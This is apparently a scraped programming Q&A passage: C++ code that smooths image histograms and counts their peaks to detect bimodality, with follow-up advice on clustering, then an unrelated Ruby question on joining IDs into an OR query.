6, 35, 47, 14, 18, 150, 21, 46, 24, 0 };
int his2[256]={ 8082, 4857, 1494, 2530, 1604, 1636, 1651, 1681, 1630, 1667, 1636, 1649, 1934, 1775, 1701, 1691, 1478, 1649, 1449, 1449, 1503, 1475, 1497, 1398, 1509, 1747, 1301, 1539, 1575, 1496, 1754, 1432, 1759, 1786, 1679, 1816, 2435, 1174, 1780, 1344, 1749, 2026, 1779, 1742, 1722, 1835, 2306, 1662, 1965, 1885, 2212, 2139, 1930, 2306, 2707, 2289, 2307, 2082, 2360, 2216, 2480, 2243, 2222, 1824, 4555, 1918, 2116, 2275, 2615, 2240, 2703, 2481, 2626, 2708, 3008, 2696, 2561, 2906, 3625, 2419, 3137, 2793, 2747, 2861, 2774, 4124, 3155, 3243, 3523, 3432, 3277, 3456, 2984, 2902, 2819, 2778, 3158, 2997, 2591, 2717, 2553, 2464, 3657, 2296, 2352, 2046, 2124, 1965, 2014, 2096, 1664, 1373, 1607, 1322, 1272, 1113, 1156, 1055, 924, 881, 1019, 669, 929, 636, 590, 463, 524, 177, 1267, 378, 409, 413, 415, 435, 385, 379, 267, 413, 266, 282, 499, 194, 360, 199, 337, 92, 986, 183, 160, 230, 124, 213, 188, 334, 164, 159, 130, 143, 135, 331, 25, 118, 114, 98, 74, 301, 92, 119, 94, 72, 192, 38, 64, 100, 138, 30, 98, 65, 226, 23, 46, 78, 78, 61, 55, 234, 26, 36, 95, 31, 49, 214, 25, 34, 58, 37, 101, 20, 41, 34, 150, 16, 50, 25, 53, 18, 30, 67, 27, 36, 42, 23, 60, 12, 21, 36, 12, 45, 21, 58, 53, 18, 51, 16, 25, 9, 24, 15, 18, 30, 33, 20, 19, 12, 23, 16, 14, 21, 14, 10, 20, 13, 12, 9, 6, 9, 7, 10, 7, 2, 0, 0, 0, 0, 0, 2087 };
int his3[256]={ 50, 226, 857, 2018, 1810, 1795, 1840, 1929, 1942, 1693, 1699, 1547, 1564, 1556, 1451, 1439, 1448, 1357, 1428, 1419, 1383, 1705, 1670, 1777, 1826, 1865, 1897, 1924, 2003, 1973, 1813, 1801, 1827, 1696, 1717, 1654, 1678, 1705, 1621, 1523, 1494, 1559, 1434, 1370, 1358, 1385, 1348, 1380, 1368, 1367, 1389, 1445, 1514, 1471, 1465, 1461, 1475, 1484, 1390, 1403, 1324, 1339, 1426, 1432, 1487, 1460, 1469, 1460, 1546, 1504, 1425, 1373, 1391, 1391, 1382, 1311, 1368, 1354, 1325, 1323, 1263, 1325, 1363, 1357, 1325, 1322, 1429, 1419, 1412, 1371, 1266, 1179, 1166, 1076, 1100, 1083, 1103, 1053, 1116, 1080, 1071, 1025, 1088, 1060, 1011, 984, 958, 959, 954, 937, 982, 950, 1001, 963, 965, 875, 1010, 954, 990, 894, 959, 972, 963, 1101, 971, 1042, 1064, 1075, 1029, 1088, 1090, 1068, 1073, 1058, 1102, 1105, 1009, 1062, 1005, 1048, 973, 998, 1034, 1013, 961, 1006, 983, 948, 1031, 972, 952, 1013, 954, 964, 970, 881, 887, 967, 941, 928, 994, 1019, 1106, 1056, 1113, 1071, 1158, 1108, 1178, 1071, 1080, 1074, 1050, 1076, 1106, 1048, 973, 1042, 997, 1034, 934, 863, 935, 845, 839, 803, 764, 782, 787, 771, 766, 751, 745, 804, 789, 765, 681, 658, 690, 672, 650, 635, 695, 619, 572, 499, 535, 565, 564, 520, 516, 568, 530, 479, 507, 424, 446, 455, 380, 395, 371, 360, 391, 373, 351, 388, 426, 349, 417, 421, 400, 443, 470, 485, 456, 495, 452, 484, 457, 518, 519, 631, 652, 693, 762, 771, 807, 906, 991, 1138, 1433, 1545, 2467, 4907, 6743, 1921 };
int *his,tmp[256],a,x0,y0,x,y,h,tr=12,sm=10,peak[256],peaks;
// loop through histograms
for (y0=20,h=0;;h++)
{
x0=5;if (h==0) his=his1;
else if (h==1) his=his2;
else if (h==2) his=his2;
else break;
// rescale his <0,?> to tmp <0-100>
for (y=his[0],x=0;x<256;x++) if (y<his[x]) y=his[x]; // y=max
for ( x=0;x<256;x++) tmp[x]=(his[x]*100)/y;
// draw tmp
for (x=0;x<256;x++) for (pyx[y0+100][x0+x]=0x00004040,y=0;y<tmp[x];y++) pyx[y0+100-y][x0+x]=(40+x)*0x00010101;
x0+=280;
// smooth tmp few times
for (y=0;y<sm;y++)
{
// from both directions to avoid shifting to one side
for (x=0;x<255;x++) tmp[x]=((90*tmp[x])+(10*tmp[x+1]))/100;
for (x=255;x>0;x--) tmp[x]=((90*tmp[x])+(10*tmp[x-1]))/100;
}
// find (count) peaks
for (peaks=0,a=0,y=0,x=0;x<255;x++)
{
if (tmp[x]<tmp[x+1]){ if ((y< 0)&&(a-tmp[x]>tr)){ a=tmp[x]; } y=+1; }
else if (tmp[x]>tmp[x+1]){ if ((y>=0)&&(tmp[x]-a>tr)){ a=tmp[x]; peak[peaks]=x; peaks++; } y=-1; }
}
// draw tmp
for (x=0;x<256;x++) for (pyx[y0+100][x0+x]=0x00004040,y=0;y<tmp[x];y++) pyx[y0+100-y][x0+x]=(40+x)*0x00010101;
// draw peaks
bmp->Canvas->Pen->Color=clAqua;
bmp->Canvas->Brush->Color=clAqua;
for (a=0;a<peaks;a++)
{
x=x0+peak[a];
y=y0+100-tmp[peak[a]];
bmp->Canvas->Ellipse(x-5,y-5,x+5,y+5);
}
// draw cross for not bimodal histograms
if (peaks!=2)
{
bmp->Canvas->Pen->Color=clRed;
bmp->Canvas->MoveTo(x0 ,y0 );
bmp->Canvas->LineTo(x0+256,y0+100);
bmp->Canvas->MoveTo(x0+256,y0 );
bmp->Canvas->LineTo(x0 ,y0+100);
}
y0+=128;
}
}
you can ignore the pyx[y][x] and bmp-> stuff it is just rendering
pyx[y][x] is direct 32bit pixel access of bitmap bmp
and bmp->Canvas is VCL encapsulated Windows GDI interface of bitmap bmp
xs,ys is bitmap resolution
set treshold tr and smooth sm to suite your needs best
If you have too much different types of histogram then you need to apply dynamic tresholding or different approach for peak finding this is how it looks like for your histograms:
Where Histogram 1 is the top one. Hope the code is clear enough if not comment me... if you rescale to power of 2 instead of 100 then you can change the multiplications and divisions to bit shifts to speed this a bit. I choose 100 for more clear selection of tresholds and smoothing coefficients...

I don't think there is a simple and straightforward solution for that.
If you think each peak in your histogram as a cluster, you can try to implement some sort of clustering algorithm that is able to automatically detect the number of peaks in your histogram.
You can start looking at here:
Determining the number of clusters in a data set
Kmeans without knowing the number of clusters?
AUTOMATIC DETERMINATION OF THE NUMBER OF CLUSTERS USING SPECTRAL
ALGORITHMS

How to make a list of a mapping of IDs

I have a long list of group_ids like so:
#group_ids = #groups.map(&:group_id)
Rails.logger.info #group_ids
[182, 122, 181, 173, 167, 58, 13, 11, 180, 40, 71, 1, 29, 47, 142, 52, 174, 7, 168, 171, 156, 120, 79, 72, 54, 26, 65]
How can I take all those group_ids and output:
group_id:11 OR group_id:22 etc

Just do:
#group_ids * " OR "
(Ruby is great)

#group_ids = [182, 122, 181, 173, 167, 58, 13, 11, 180, 40, 71, 1, 29, 47, 142, 52, 174, 7, 168, 171, 156, 120, 79, 72, 54, 26, 65]
#group_ids.map{|id| "group_id:#{id}"}.join(" OR ")
#=> "group_id:182 OR group_id:122 OR group_id:181 OR group_id:173 OR group_id:167 OR group_id:58 OR group_id:13 OR group_id:11 OR group_id:180 OR group_id:40 OR group_id:71 OR group_id:1 OR group_id:29 OR group_id:47 OR group_id:142 OR group_id:52 OR group_id:174 OR group_id:7 OR group_id:168 OR group_id:171 OR group_id:156 OR group_id:120 OR group_id:79 OR group_id:72 OR group_id:54 OR group_id:26 OR group_id:65"

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